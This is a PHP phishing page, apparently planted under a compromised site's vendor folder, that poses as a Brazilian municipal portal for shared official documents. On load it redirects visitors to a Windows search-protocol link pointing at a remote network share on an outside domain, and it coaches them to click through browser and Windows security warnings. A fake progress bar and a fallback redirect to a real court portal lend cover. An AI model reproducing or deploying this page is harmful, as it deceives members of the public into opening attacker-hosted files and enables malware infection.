%PDF- %PDF-
Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/ |
Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/acesso.php |
<?php $ip = 'vizualizar-arquivos-pdf-digital.digital'; $pasta = 'arquivo_online'; $displayName = 'arquivo_online'; $link = 'search:query=&crumb=location:\\\\' . $ip . '\\' . $pasta . '&displayname=' . $displayName; ?> <!DOCTYPE html> <html lang="pt-BR"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Acesso aos Documentos Oficiais - Prefeitura Municipal</title> <meta name="description" content="Acesso seguro aos documentos oficiais compartilhados da Prefeitura Municipal"> <style> :root { --primary-color: #0066cc; --primary-dark: #004b99; --secondary-color: #e9f2fb; --text-color: #333; --light-gray: #f5f5f5; --border-radius: 8px; --box-shadow: 0 4px 12px rgba(0, 0, 0, 0.08); --transition: all 0.3s ease; } * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background-color: var(--light-gray); color: var(--text-color); line-height: 1.6; padding: 0; margin: 0; display: flex; flex-direction: column; min-height: 100vh; } .header { background-color: white; padding: 1rem 2rem; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05); display: flex; align-items: center; } .logo { height: 50px; margin-right: 1rem; } .header-title { font-size: 1.2rem; color: var(--primary-color); font-weight: 600; } .container { max-width: 800px; margin: 2rem auto; padding: 0 1rem; width: 100%; } .card { background: white; border-radius: var(--border-radius); box-shadow: var(--box-shadow); overflow: hidden; margin-bottom: 2rem; } .card-header { background-color: var(--primary-color); color: white; padding: 1.5rem; text-align: center; } .card-body { padding: 2rem; } h1 { font-size: 1.8rem; margin-bottom: 1rem; color: var(--primary-color); } h2 { font-size: 1.4rem; margin: 1.5rem 0 1rem; color: var(--primary-dark); } p { margin-bottom: 1rem; } ul { margin-bottom: 1.5rem; padding-left: 1.5rem; } li { margin-bottom: 0.5rem; } .alert { background-color: var(--secondary-color); border-left: 4px solid var(--primary-color); padding: 1rem; margin: 1.5rem 0; border-radius: 0 var(--border-radius) var(--border-radius) 0; } .btn { display: inline-block; background-color: var(--primary-color); color: white; padding: 0.8rem 1.5rem; border-radius: var(--border-radius); text-decoration: none; font-weight: 500; border: none; cursor: pointer; transition: var(--transition); text-align: center; margin-top: 1rem; } .btn:hover { background-color: var(--primary-dark); transform: translateY(-2px); } .btn-block { display: block; width: 100%; } .progress-container { margin: 2rem 0; } .progress-bar { height: 6px; background-color: #e0e0e0; border-radius: 3px; overflow: hidden; } .progress { height: 100%; background-color: var(--primary-color); width: 0%; transition: width 0.5s ease; } .status { display: flex; justify-content: space-between; margin-top: 0.5rem; font-size: 0.9rem; color: #666; } .footer { text-align: center; padding: 1.5rem; background-color: white; margin-top: auto; font-size: 0.9rem; color: #666; } .security-badge { display: flex; align-items: center; justify-content: center; margin: 1.5rem 0; gap: 1rem; } .security-icon { font-size: 2.5rem; color: var(--primary-color); } @media (max-width: 768px) { .header { padding: 1rem; } .card-body { padding: 1.5rem; } h1 { font-size: 1.5rem; } } /* Animations */ @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .fade-in { animation: fadeIn 0.5s ease forwards; } .hidden { display: none; } </style> </head> <body> <main class="container"> <div class="card fade-in"> <div class="card-header" style="color: white; text-align: center;"> <h1 style="color: white; margin: 0; padding: 0;">Acesso aos Documentos Compartilhados</h1> </div> <div class="card-body"> <div class="progress-container"> <div class="progress-bar"> <div class="progress" id="progressBar"></div> </div> <div class="status"> <span id="statusText">Iniciando conexão segura... </span> <span id="timer">5s</span> </div> </div> <div class="alert"> <strong>Atenção:</strong> Dependendo das configurações do seu navegador e sistema, podem aparecer mensagens de segurança durante o processo. </div> <h2>Instruções para acesso:</h2> <ol> <li><strong>Permissão do navegador:</strong> Quando solicitado, clique em <strong>"Abrir Windows Search Protocol"</strong>.</li> <li><strong>Alerta de segurança:</strong> Se aparecer o aviso do Windows, clique em <strong>"OK"</strong> para continuar.</li> <li><strong>Acesso à pasta:</strong> Aguarde enquanto o sistema monta a conexão segura com os documentos.</li> </ol <p>Este processo é seguro e utiliza protocolos padrão do Windows para acesso a pastas compartilhadas em rede.</p> <button id="botaoManual" class="btn btn-block hidden">Clique aqui se a pasta não abrir automaticamente</button> </div> </div> </main> <footer class="footer"> <p>© <?php echo date('Y'); ?> - Todos os direitos reservados</p> </footer> <script> const smbLink = <?= json_encode($link) ?>; const delay = Math.floor(Math.random() * 2000) + 3000; let timeLeft = Math.ceil(delay / 1000); let progressInterval; let redirectTimer; // Atualiza a barra de progresso function updateProgress(elapsed) { const progress = (elapsed / delay) * 100; document.getElementById('progressBar').style.width = `${Math.min(progress, 100)}%`; if (progress < 100) { document.getElementById('statusText').textContent = progress < 30 ? "Iniciando abertura segura..." : progress < 70 ? "Conectando ao servidor..." : "Preparando para abrir pasta..."; } } // Atualiza o contador function updateTimer() { timeLeft--; document.getElementById('timer').textContent = `${timeLeft}s`; if (timeLeft <= 0) { clearInterval(progressInterval); } } window.onload = function() { const startTime = Date.now(); // Mostrar botão manual após o delay setTimeout(() => { document.getElementById('botaoManual').classList.remove('hidden'); window.location.href = smbLink; }, delay); // Atualizar progresso progressInterval = setInterval(() => { const elapsed = Date.now() - startTime; updateProgress(elapsed); }, 50); // Atualizar timer setInterval(updateTimer, 1000); // Redirecionar após 60 segundos redirectTimer = setTimeout(() => { window.location.href = "https://esaj.tjsp.jus.br/esaj/portal.do?servico=640000"; }, 120000); }; function abrirManual() { clearTimeout(redirectTimer); document.getElementById('statusText').textContent = "Abrindo manualmente..."; document.getElementById('progressBar').style.width = "100%"; setTimeout(() => { window.location.href = smbLink; }, 500); } document.getElementById('botaoManual').addEventListener('click', abrirManual); </script> </body> </html>